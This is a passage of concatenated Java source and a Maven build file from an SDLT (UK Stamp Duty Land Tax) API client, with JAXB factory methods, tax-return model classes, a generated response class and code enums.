}{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_CompanyName", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1MR01CompanyName(StringType value) { return new JAXBElement<StringType>(_SDLTAP1MR01CompanyName_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_ChargeDate", scope = SDLT.AP1 .class) public JAXBElement<String> createSDLTAP1MR01ChargeDate(String value) { return new JAXBElement<String>(_SDLTAP1MR01ChargeDate_QNAME, String.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_NameEntitled1", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1MR01NameEntitled1(StringType value) { return new JAXBElement<StringType>(_SDLTAP1MR01NameEntitled1_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_NameEntitled2", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1MR01NameEntitled2(StringType value) { return new JAXBElement<StringType>(_SDLTAP1MR01NameEntitled2_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_NameEntitled3", scope = SDLT.AP1 .class) public JAXBElement<StringType> createSDLTAP1MR01NameEntitled3(StringType value) { return new JAXBElement<StringType>(_SDLTAP1MR01NameEntitled3_QNAME, StringType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_IncludesOtherCharge", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1MR01IncludesOtherCharge(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1MR01IncludesOtherCharge_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_FloatingCharge", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1MR01FloatingCharge(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1MR01FloatingCharge_QNAME, BooleanType.class, SDLT.AP1 .class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "MR01_NegativeCharge", scope = SDLT.AP1 .class) public JAXBElement<BooleanType> createSDLTAP1MR01NegativeCharge(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTAP1MR01NegativeCharge_QNAME, BooleanType.class, SDLT.AP1 .class, value); } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/Sdlt4.java package com.redmonkeysoftware.sdlt.model; import java.io.Serializable; import java.math.BigDecimal; import java.time.LocalDate; public class Sdlt4 implements Serializable { private static final long serialVersionUID = -4033861399854185663L; @SdltXmlValue("SDLT4_ConsiderationStockYesNo") protected Boolean considerationStock; @SdltXmlValue("SDLT4_ConsiderationGoodWillYesNo") protected Boolean considerationGoodWill; @SdltXmlValue("SDLT4_ConsiderationOtherYesNo") protected Boolean considerationOther; @SdltXmlValue("SDLT4_ConsiderationChattelsYesNo") protected Boolean considerationChattels; @SdltXmlValue("SDLT4_TotalConsiderationAmount") protected BigDecimal totalConsideration; @SdltXmlValue("SDLT4_PropertyUseOffice") protected Boolean propertyUseOffice; @SdltXmlValue("SDLT4_PropertyUseHotel") protected Boolean propertyUseHotel; @SdltXmlValue("SDLT4_PropertyUseShop") protected Boolean propertyUseShop; @SdltXmlValue("SDLT4_PropertyUseWarehouse") protected Boolean propertyUseWarehouse; @SdltXmlValue("SDLT4_PropertyUseFactory") protected Boolean propertyUseFactory; @SdltXmlValue("SDLT4_PropertyUseOther") protected Boolean propertyUseOther; @SdltXmlValue("SDLT4_PropertyUseOtherInd") protected Boolean propertyUseOtherInd; @SdltXmlValue("SDLT4_PostTransactionRulingYesNo") protected Boolean postTransactionRuling; @SdltXmlValue("SDLT4_IfYesHasRullingBeenFollowed") protected Boolean rulingBeenFollowed; @SdltXmlValue("SDLT4_ConsiderationDependentOnFutureEventsYesNo") protected Boolean considerationDependantOnFutureEvents; @SdltXmlValue("SDLT4_DeferredPaymentAgreedYesNo") protected Boolean deferredPaymentAgreed; @SdltXmlValue("SDLT4_PropertyMineratlRightsCode") protected String propertyMineratlRightsCode; @SdltXmlValue("SDLT4_Purchaser1DescriptionCode") protected String purchaser1DescriptionCode; @SdltXmlValue("SDLT4_Purchaser2DescriptionCode") protected String purchaser2DescriptionCode; @SdltXmlValue("SDLT4_Purchaser3DescriptionCode") protected String purchaser3DescriptionCode; @SdltXmlValue("SDLT4_Purchaser4DescriptionCode") protected String purchaser4DescriptionCode; @SdltXmlValue("SDLT4_PropertyTypeCode") protected String propertyType; @SdltXmlValue("SDLT4_PropertySameAddressAsSDLT1") protected String sameAddress; @SdltXmlValue("SDLT4_PropertyAddressPostcode") protected String addressPostcode; @SdltXmlValue("SDLT4_PropertyAddressBuildingNo") protected String addressProperty; @SdltXmlValue("SDLT4_PropertyAddress1") protected String address1; @SdltXmlValue("SDLT4_PropertyAddress2") protected String address2; @SdltXmlValue("SDLT4_PropertyAddress3") protected String address3; @SdltXmlValue("SDLT4_PropertyAddress4") protected String address4; @SdltXmlValue("SDLT4_PropertyLocalAuthorityCode") protected LocalAuthority localAuthority; @SdltXmlValue("SDLT4_PropertyTitleNumber") protected String titleNumber; @SdltXmlValue("SDLT4_PropertyNLPGUPRN") protected String propertyNlpgUprn; @SdltXmlValue("SDLT4_PropertyUnitsHectareMetres") protected String unitsHectareMetres; @SdltXmlValue("SDLT4_PropertyAreaSize") protected String areaSize; @SdltXmlValue("SDLT4_PropertyPlanAttachedYesNo") protected Boolean planAttached; @SdltXmlValue("SDLT4_InterestCreatedCode") protected InterestCreatedType interestCreated; @SdltXmlValue("SDLT4_InterestCreatedCodeDetailed") protected String interestCreatedDetailed; @SdltXmlValue("SDLT4_LeaseTypeCode") protected LeaseType leaseType; @SdltXmlValue("SDLT4_LeaseStartDate") protected LocalDate leaseStartDate; @SdltXmlValue("SDLT4_LeaseEndDate") protected LocalDate leaseEndDate; @SdltXmlValue("SDLT4_RentFreePeriod") protected String rentFreePeriod; @SdltXmlValue("SDLT4_TotalLeasePremiumPayable") protected BigDecimal totalLeasePremiumPayable; @SdltXmlValue("SDLT4_EndDateForStartingRent") protected LocalDate startingRentEndDate; @SdltXmlValue("SDLT4_LaterRentKnownYesNo") protected Boolean laterRentKnown; @SdltXmlValue("SDLT4_LeaseAmountVAT") protected BigDecimal leaseAmountVat; @SdltXmlValue("SDLT4_TotalLeasePremiumPaid") protected BigDecimal totalLeasePremiumPaid; @SdltXmlValue("SDLT4_NetPresentValue") protected BigDecimal newPresentValue; @SdltXmlValue("SDLT4_TotalLeasePremiumTaxPayable") protected BigDecimal totalLeasePremiumTaxPayable; @SdltXmlValue("SDLT4_TotalLeaseNPVTaxPayable") protected BigDecimal totalLeaseNpvTaxPayable; @SdltXmlValue("SDLT4_AnyTermsSurrendered") protected String anyTermsSurrendered; @SdltXmlValue("SDLT4_BreakClauseTypeCode") protected String breakClauseTypeCode; @SdltXmlValue("SDLT4_BreakClauseDate") protected LocalDate breakClauseDate; @SdltXmlValue("SDLT4_ConditionsOptionToRenew") protected String conditionsOptionToRenew; @SdltXmlValue("SDLT4_ConditionsUnascertainableRent") protected String conditionsUnascertainableRent; @SdltXmlValue("SDLT4_ConditionsMarketRent") protected String conditionsMarketRent; @SdltXmlValue("SDLT4_ConditionsContingentReservedRent") protected String conditionsContingentReservedRent; @SdltXmlValue("SDLT4_ConditionsTurnoverRent") protected String conditionsTurnoverRent; @SdltXmlValue("SDLT4_PropertyRentReviewFrequency") protected String rentReviewFrequency; @SdltXmlValue("SDLT4_FirstReviewDate") protected LocalDate firstReviewDate; @SdltXmlValue("SDLT4_ReviewClauseType") protected String reviewClauseType; @SdltXmlValue("SDLT4_DateOfRentChange") protected LocalDate dateOfRentChange; @SdltXmlValue("SDLT4_PropertyServiceChargeAmount") protected BigDecimal serviceChargeAmount; @SdltXmlValue("SDLT4_PropertyServiceChargeFrequency") protected String serviceChargeFrequency; @SdltXmlValue("SDLT4_ConsiderationTenant2LandlordCode1") protected ConsiderationType considerationTenant2LandlordCode1; @SdltXmlValue("SDLT4_ConsiderationTenant2LandlordCode2") protected ConsiderationType considerationTenant2LandlordCode2; @SdltXmlValue("SDLT4_ConsiderationTenant2LandlordCode3") protected ConsiderationType considerationTenant2LandlordCode3; @SdltXmlValue("SDLT4_ConsiderationTenant2LandlordCode4") protected ConsiderationType considerationTenant2LandlordCode4; @SdltXmlValue("SDLT4_ConsiderationLandlord2TenantCode1") protected ConsiderationType considerationLandlord2TenantCode1; @SdltXmlValue("SDLT4_ConsiderationLandlord2TenantCode2") protected ConsiderationType considerationLandlord2TenantCode2; @SdltXmlValue("SDLT4_ConsiderationLandlord2TenantCode3") protected ConsiderationType considerationLandlord2TenantCode3; @SdltXmlValue("SDLT4_ConsiderationLandlord2TenantCode4") protected ConsiderationType considerationLandlord2TenantCode4; public Boolean getConsiderationStock() { return considerationStock; } public void setConsiderationStock(Boolean considerationStock) { this.considerationStock = considerationStock; } public Boolean getConsiderationGoodWill() { return considerationGoodWill; } public void setConsiderationGoodWill(Boolean considerationGoodWill) { this.considerationGoodWill = considerationGoodWill; } public Boolean getConsiderationOther() { return considerationOther; } public void setConsiderationOther(Boolean considerationOther) { this.considerationOther = considerationOther; } public Boolean getConsiderationChattels() { return considerationChattels; } public void setConsiderationChattels(Boolean considerationChattels) { this.considerationChattels = considerationChattels; } public BigDecimal getTotalConsideration() { return totalConsideration; } public void setTotalConsideration(BigDecimal totalConsideration) { this.totalConsideration = totalConsideration; } public Boolean getPropertyUseOffice() { return propertyUseOffice; } public void setPropertyUseOffice(Boolean propertyUseOffice) { this.propertyUseOffice = propertyUseOffice; } public Boolean getPropertyUseHotel() { return propertyUseHotel; } public void setPropertyUseHotel(Boolean propertyUseHotel) { this.propertyUseHotel = propertyUseHotel; } public Boolean getPropertyUseShop() { return propertyUseShop; } public void setPropertyUseShop(Boolean propertyUseShop) { this.propertyUseShop = propertyUseShop; } public Boolean getPropertyUseWarehouse() { return propertyUseWarehouse; } public void setPropertyUseWarehouse(Boolean propertyUseWarehouse) { this.propertyUseWarehouse = propertyUseWarehouse; } public Boolean getPropertyUseFactory() { return propertyUseFactory; } public void setPropertyUseFactory(Boolean propertyUseFactory) { this.propertyUseFactory = propertyUseFactory; } public Boolean getPropertyUseOther() { return propertyUseOther; } public void setPropertyUseOther(Boolean propertyUseOther) { this.propertyUseOther = propertyUseOther; } public Boolean getPropertyUseOtherInd() { return propertyUseOtherInd; } public void setPropertyUseOtherInd(Boolean propertyUseOtherInd) { this.propertyUseOtherInd = propertyUseOtherInd; } public Boolean getPostTransactionRuling() { return postTransactionRuling; } public void setPostTransactionRuling(Boolean postTransactionRuling) { this.postTransactionRuling = postTransactionRuling; } public Boolean getRulingBeenFollowed() { return rulingBeenFollowed; } public void setRulingBeenFollowed(Boolean rulingBeenFollowed) { this.rulingBeenFollowed = rulingBeenFollowed; } public Boolean getConsiderationDependantOnFutureEvents() { return considerationDependantOnFutureEvents; } public void setConsiderationDependantOnFutureEvents(Boolean considerationDependantOnFutureEvents) { this.considerationDependantOnFutureEvents = considerationDependantOnFutureEvents; } public Boolean getDeferredPaymentAgreed() { return deferredPaymentAgreed; } public void setDeferredPaymentAgreed(Boolean deferredPaymentAgreed) { this.deferredPaymentAgreed = deferredPaymentAgreed; } public String getPropertyMineratlRightsCode() { return propertyMineratlRightsCode; } public void setPropertyMineratlRightsCode(String propertyMineratlRightsCode) { this.propertyMineratlRightsCode = propertyMineratlRightsCode; } public String getPurchaser1DescriptionCode() { return purchaser1DescriptionCode; } public void setPurchaser1DescriptionCode(String purchaser1DescriptionCode) { this.purchaser1DescriptionCode = purchaser1DescriptionCode; } public String getPurchaser2DescriptionCode() { return purchaser2DescriptionCode; } public void setPurchaser2DescriptionCode(String purchaser2DescriptionCode) { this.purchaser2DescriptionCode = purchaser2DescriptionCode; } public String getPurchaser3DescriptionCode() { return purchaser3DescriptionCode; } public void setPurchaser3DescriptionCode(String purchaser3DescriptionCode) { this.purchaser3DescriptionCode = purchaser3DescriptionCode; } public String getPurchaser4DescriptionCode() { return purchaser4DescriptionCode; } public void setPurchaser4DescriptionCode(String purchaser4DescriptionCode) { this.purchaser4DescriptionCode = purchaser4DescriptionCode; } public String getPropertyType() { return propertyType; } public void setPropertyType(String propertyType) { this.propertyType = propertyType; } public String getSameAddress() { return sameAddress; } public void setSameAddress(String sameAddress) { this.sameAddress = sameAddress; } public String getAddressPostcode() { return addressPostcode; } public void setAddressPostcode(String addressPostcode) { this.addressPostcode = addressPostcode; } public String getAddressProperty() { return addressProperty; } public void setAddressProperty(String addressProperty) { this.addressProperty = addressProperty; } public String getAddress1() { return address1; } public void setAddress1(String address1) { this.address1 = address1; } public String getAddress2() { return address2; } public void setAddress2(String address2) { this.address2 = address2; } public String getAddress3() { return address3; } public void setAddress3(String address3) { this.address3 = address3; } public String getAddress4() { return address4; } public void setAddress4(String address4) { this.address4 = address4; } public LocalAuthority getLocalAuthority() { return localAuthority; } public void setLocalAuthority(LocalAuthority localAuthority) { this.localAuthority = localAuthority; } public String getTitleNumber() { return titleNumber; } public void setTitleNumber(String titleNumber) { this.titleNumber = titleNumber; } public String getPropertyNlpgUprn() { return propertyNlpgUprn; } public void setPropertyNlpgUprn(String propertyNlpgUprn) { this.propertyNlpgUprn = propertyNlpgUprn; } public String getUnitsHectareMetres() { return unitsHectareMetres; } public void setUnitsHectareMetres(String unitsHectareMetres) { this.unitsHectareMetres = unitsHectareMetres; } public String getAreaSize() { return areaSize; } public void setAreaSize(String areaSize) { this.areaSize = areaSize; } public Boolean getPlanAttached() { return planAttached; } public void setPlanAttached(Boolean planAttached) { this.planAttached = planAttached; } public InterestCreatedType getInterestCreated() { return interestCreated; } public void setInterestCreated(InterestCreatedType interestCreated) { this.interestCreated = interestCreated; } public String getInterestCreatedDetailed() { return interestCreatedDetailed; } public void setInterestCreatedDetailed(String interestCreatedDetailed) { this.interestCreatedDetailed = interestCreatedDetailed; } public LeaseType getLeaseType() { return leaseType; } public void setLeaseType(LeaseType leaseType) { this.leaseType = leaseType; } public LocalDate getLeaseStartDate() { return leaseStartDate; } public void setLeaseStartDate(LocalDate leaseStartDate) { this.leaseStartDate = leaseStartDate; } public LocalDate getLeaseEndDate() { return leaseEndDate; } public void setLeaseEndDate(LocalDate leaseEndDate) { this.leaseEndDate = leaseEndDate; } public String getRentFreePeriod() { return rentFreePeriod; } public void setRentFreePeriod(String rentFreePeriod) { this.rentFreePeriod = rentFreePeriod; } public BigDecimal getTotalLeasePremiumPayable() { return totalLeasePremiumPayable; } public void setTotalLeasePremiumPayable(BigDecimal totalLeasePremiumPayable) { this.totalLeasePremiumPayable = totalLeasePremiumPayable; } public LocalDate getStartingRentEndDate() { return startingRentEndDate; } public void setStartingRentEndDate(LocalDate startingRentEndDate) { this.startingRentEndDate = startingRentEndDate; } public Boolean getLaterRentKnown() { return laterRentKnown; } public void setLaterRentKnown(Boolean laterRentKnown) { this.laterRentKnown = laterRentKnown; } public BigDecimal getLeaseAmountVat() { return leaseAmountVat; } public void setLeaseAmountVat(BigDecimal leaseAmountVat) { this.leaseAmountVat = leaseAmountVat; } public BigDecimal getTotalLeasePremiumPaid() { return totalLeasePremiumPaid; } public void setTotalLeasePremiumPaid(BigDecimal totalLeasePremiumPaid) { this.totalLeasePremiumPaid = totalLeasePremiumPaid; } public BigDecimal getNewPresentValue() { return newPresentValue; } public void setNewPresentValue(BigDecimal newPresentValue) { this.newPresentValue = newPresentValue; } public BigDecimal getTotalLeasePremiumTaxPayable() { return totalLeasePremiumTaxPayable; } public void setTotalLeasePremiumTaxPayable(BigDecimal totalLeasePremiumTaxPayable) { this.totalLeasePremiumTaxPayable = totalLeasePremiumTaxPayable; } public BigDecimal getTotalLeaseNpvTaxPayable() { return totalLeaseNpvTaxPayable; } public void setTotalLeaseNpvTaxPayable(BigDecimal totalLeaseNpvTaxPayable) { this.totalLeaseNpvTaxPayable = totalLeaseNpvTaxPayable; } public String getAnyTermsSurrendered() { return anyTermsSurrendered; } public void setAnyTermsSurrendered(String anyTermsSurrendered) { this.anyTermsSurrendered = anyTermsSurrendered; } public String getBreakClauseTypeCode() { return breakClauseTypeCode; } public void setBreakClauseTypeCode(String breakClauseTypeCode) { this.breakClauseTypeCode = breakClauseTypeCode; } public LocalDate getBreakClauseDate() { return breakClauseDate; } public void setBreakClauseDate(LocalDate breakClauseDate) { this.breakClauseDate = breakClauseDate; } public String getConditionsOptionToRenew() { return conditionsOptionToRenew; } public void setConditionsOptionToRenew(String conditionsOptionToRenew) { this.conditionsOptionToRenew = conditionsOptionToRenew; } public String getConditionsUnascertainableRent() { return conditionsUnascertainableRent; } public void setConditionsUnascertainableRent(String conditionsUnascertainableRent) { this.conditionsUnascertainableRent = conditionsUnascertainableRent; } public String getConditionsMarketRent() { return conditionsMarketRent; } public void setConditionsMarketRent(String conditionsMarketRent) { this.conditionsMarketRent = conditionsMarketRent; } public String getConditionsContingentReservedRent() { return conditionsContingentReservedRent; } public void setConditionsContingentReservedRent(String conditionsContingentReservedRent) { this.conditionsContingentReservedRent = conditionsContingentReservedRent; } public String getConditionsTurnoverRent() { return conditionsTurnoverRent; } public void setConditionsTurnoverRent(String conditionsTurnoverRent) { this.conditionsTurnoverRent = conditionsTurnoverRent; } public String getRentReviewFrequency() { return rentReviewFrequency; } public void setRentReviewFrequency(String rentReviewFrequency) { this.rentReviewFrequency = rentReviewFrequency; } public LocalDate getFirstReviewDate() { return firstReviewDate; } public void setFirstReviewDate(LocalDate firstReviewDate) { this.firstReviewDate = firstReviewDate; } public String getReviewClauseType() { return reviewClauseType; } public void setReviewClauseType(String reviewClauseType) { this.reviewClauseType = reviewClauseType; } public LocalDate getDateOfRentChange() { return dateOfRentChange; } public void setDateOfRentChange(LocalDate dateOfRentChange) { this.dateOfRentChange = dateOfRentChange; } public BigDecimal getServiceChargeAmount() { return serviceChargeAmount; } public void setServiceChargeAmount(BigDecimal serviceChargeAmount) { this.serviceChargeAmount = serviceChargeAmount; } public String getServiceChargeFrequency() { return serviceChargeFrequency; } public void setServiceChargeFrequency(String serviceChargeFrequency) { this.serviceChargeFrequency = serviceChargeFrequency; } public ConsiderationType getConsiderationTenant2LandlordCode1() { return considerationTenant2LandlordCode1; } public void setConsiderationTenant2LandlordCode1(ConsiderationType considerationTenant2LandlordCode1) { this.considerationTenant2LandlordCode1 = considerationTenant2LandlordCode1; } public ConsiderationType getConsiderationTenant2LandlordCode2() { return considerationTenant2LandlordCode2; } public void setConsiderationTenant2LandlordCode2(ConsiderationType considerationTenant2LandlordCode2) { this.considerationTenant2LandlordCode2 = considerationTenant2LandlordCode2; } public ConsiderationType getConsiderationTenant2LandlordCode3() { return considerationTenant2LandlordCode3; } public void setConsiderationTenant2LandlordCode3(ConsiderationType considerationTenant2LandlordCode3) { this.considerationTenant2LandlordCode3 = considerationTenant2LandlordCode3; } public ConsiderationType getConsiderationTenant2LandlordCode4() { return considerationTenant2LandlordCode4; } public void setConsiderationTenant2LandlordCode4(ConsiderationType considerationTenant2LandlordCode4) { this.considerationTenant2LandlordCode4 = considerationTenant2LandlordCode4; } public ConsiderationType getConsiderationLandlord2TenantCode1() { return considerationLandlord2TenantCode1; } public void setConsiderationLandlord2TenantCode1(ConsiderationType considerationLandlord2TenantCode1) { this.considerationLandlord2TenantCode1 = considerationLandlord2TenantCode1; } public ConsiderationType getConsiderationLandlord2TenantCode2() { return considerationLandlord2TenantCode2; } public void setConsiderationLandlord2TenantCode2(ConsiderationType considerationLandlord2TenantCode2) { this.considerationLandlord2TenantCode2 = considerationLandlord2TenantCode2; } public ConsiderationType getConsiderationLandlord2TenantCode3() { return considerationLandlord2TenantCode3; } public void setConsiderationLandlord2TenantCode3(ConsiderationType considerationLandlord2TenantCode3) { this.considerationLandlord2TenantCode3 = considerationLandlord2TenantCode3; } public ConsiderationType getConsiderationLandlord2TenantCode4() { return considerationLandlord2TenantCode4; } public void setConsiderationLandlord2TenantCode4(ConsiderationType considerationLandlord2TenantCode4) { this.considerationLandlord2TenantCode4 = considerationLandlord2TenantCode4; } } <file_sep>/target/generated-sources/jaxb/com/redmonkeysoftware/sdlt/model/response/GetAccountOTP.java // // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.0 // See <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2021.01.19 at 05:38:10 PM GMT // package com.redmonkeysoftware.sdlt.model.response; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.bind.annotation.XmlSchemaType; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;sequence&gt; * &lt;element name="Password" type="{http://www.w3.org/2001/XMLSchema}string"/&gt; * &lt;element name="LoginURL" type="{http://www.w3.org/2001/XMLSchema}anyURI"/&gt; * &lt;/sequence&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "password", "loginURL" }) @XmlRootElement(name = "GetAccountOTP") public class GetAccountOTP { @XmlElement(name = "Password", required = true) protected String password; @XmlElement(name = "LoginURL", required = true) @XmlSchemaType(name = "anyURI") protected String loginURL; /** * Gets the value of the password property. * * @return * possible object is * {@link String } * */ public String getPassword() { return password; } /** * Sets the value of the password property. * * @param value * allowed object is * {@link String } * */ public void setPassword(String value) { this.password = value; } /** * Gets the value of the loginURL property. * * @return * possible object is * {@link String } * */ public String getLoginURL() { return loginURL; } /** * Sets the value of the loginURL property. * * @param value * allowed object is * {@link String } * */ public void setLoginURL(String value) { this.loginURL = value; } } <file_sep>/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.redmonkeysoftware</groupId> <artifactId>sdlt-api</artifactId> <version>1.1.2-RELEASE</version> <packaging>jar</packaging> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <java.version>11</java.version> </properties> <repositories> <repository> <id>maven-public</id> <url>https://nexus.conveylaw.com/repository/maven-public/</url> </repository> </repositories> <distributionManagement> <snapshotRepository> <id>nexus-snapshots</id> <url>https://nexus.conveylaw.com/repository/maven-snapshots/</url> </snapshotRepository> <repository> <id>nexus-releases</id> <url>https://nexus.conveylaw.com/repository/maven-releases/</url> </repository> </distributionManagement> <build> <pluginManagement> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.10.1</version> <configuration> <release>11</release> </configuration> </plugin> </plugins> </pluginManagement> <plugins> <plugin> <groupId>org.jvnet.jaxb2.maven2</groupId> <artifactId>maven-jaxb2-plugin</artifactId> <version>0.14.0</version> <executions> <execution> <id>generate-sdltmessage</id> <phase>generate-sources</phase> <goals> <goal>generate</goal> </goals> <configuration> <schemaDirectory>${project.basedir}/src/main/resources/requests/sdltmessage</schemaDirectory> <generateDirectory>${project.build.directory}/generated-sources/jaxb</generateDirectory> <generatePackage>com.redmonkeysoftware.sdlt.model.request.sdltmessage</generatePackage> <schemaIncludes> <include>*.xsd</include> </schemaIncludes> </configuration> </execution> <execution> <id>generate-sdlt</id> <phase>generate-sources</phase> <goals> <goal>generate</goal> </goals> <configuration> <schemaDirectory>${project.basedir}/src/main/resources/requests/sdlt</schemaDirectory> <generateDirectory>${project.build.directory}/generated-sources/jaxb</generateDirectory> <generatePackage>com.redmonkeysoftware.sdlt.model.request.sdlt</generatePackage> <schemaIncludes> <include>*.xsd</include> </schemaIncludes> </configuration> </execution> <execution> <id>generate-api</id> <phase>generate-sources</phase> <goals> <goal>generate</goal> </goals> <configuration> <schemaDirectory>${project.basedir}/src/main/resources/requests/api</schemaDirectory> <generateDirectory>${project.build.directory}/generated-sources/jaxb</generateDirectory> <generatePackage>com.redmonkeysoftware.sdlt.model.request.api</generatePackage> <schemaIncludes> <include>*.xsd</include> </schemaIncludes> </configuration> </execution> <execution> <id>generate-response</id> <phase>generate-sources</phase> <goals> <goal>generate</goal> </goals> <configuration> <schemaDirectory>${project.basedir}/src/main/resources/responses</schemaDirectory> <generateDirectory>${project.build.directory}/generated-sources/jaxb</generateDirectory> <generatePackage>com.redmonkeysoftware.sdlt.model.response</generatePackage> <schemaIncludes> <include>*.xsd</include> </schemaIncludes> </configuration> </execution> </executions> <configuration> <cleanPackageDirectories>false</cleanPackageDirectories> <forceRegenerate>true</forceRegenerate> <args> <arg>-Xannotate</arg> </args> <plugins> <plugin> <groupId>org.jvnet.jaxb2_commons</groupId> <artifactId>jaxb2-basics-annotate</artifactId> <version>1.0.2</version> </plugin> </plugins> </configuration> </plugin> </plugins> </build> <profiles> <profile> <id>java11</id> <activation> <jdk>[11,)</jdk> </activation> <dependencies> <dependency> <groupId>org.glassfish.jaxb</groupId> <artifactId>jaxb-runtime</artifactId> <version>2.3.6</version> </dependency> </dependencies> </profile> </profiles> <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.12.0</version> </dependency> <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.13</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>[2.10.5,)</version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.11.0</version> </dependency> </dependencies> </project><file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/LocalAuthorityCountry.java package com.redmonkeysoftware.sdlt.model; import org.apache.commons.lang3.StringUtils; public enum LocalAuthorityCountry implements BaseEnumType { ENGLAND("E", "England"), WALES("W", "Wales"), SCOTLAND("S", "Scotland"); private final String code; private final String description; private LocalAuthorityCountry(final String code, final String description) { this.code = code; this.description = description; } @Override public String getCode() { return code; } @Override public String getDescription() { return description; } @Override public String toString() { return code; } public static LocalAuthorityCountry fromCode(final String code) { for (LocalAuthorityCountry ict : values()) { if (StringUtils.equalsIgnoreCase(ict.getCode(), code)) { return ict; } } return null; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/ConsiderationType.java package com.redmonkeysoftware.sdlt.model; import org.apache.commons.lang3.StringUtils; public enum ConsiderationType implements BaseEnumType { CASH("30", "Cash"), DEBT("31", "Debt"), BUILDING_WORKS("32", "Building Works"), EMPLOYMENT("33", "Employment"), OTHER("34", "Other (such as annuity)"), SHARES_QUOTED("35", "Shares in a quoted company"), SHARES_UNQUOTED("36", "Shares in an unquoted company"), OTHER_LAND("37", "Other Land"), SERVICES("38", "Services"), CONTINGENT("39", "Contingent"); private final String code; private final String description; private ConsiderationType(final String code, final String description) { this.code = code; this.description = description; } @Override public String getCode() { return code; } @Override public String getDescription() { return description; } @Override public String toString() { return code; } public static ConsiderationType fromCode(final String code) { for (ConsiderationType ict : values()) { if (StringUtils.equalsIgnoreCase(ict.getCode(), code)) { return ict; } } return null; } } <file_sep>/src/main/java/com/redmonkeysoftware/sdlt/model/Sdlt3.java package com.redmonkeysoftware.sdlt.model; import java.io.Serializable; public class Sdlt3 implements Serializable { private static final long serialVersionUID = 7970339525165775481L; @SdltXmlValue("SDLT3_PropertyTypeCode") protected PropertyType type; @SdltXmlValue("SDLT3_PropertyLocalAuthorityCode") protected String localAuthority; @SdltXmlValue("SDLT3_PropertyTitleNumber") protected String titleNumber; @SdltXmlValue("SDLT3_PropertyNLPGUPRN") protected String nlpgUprn; 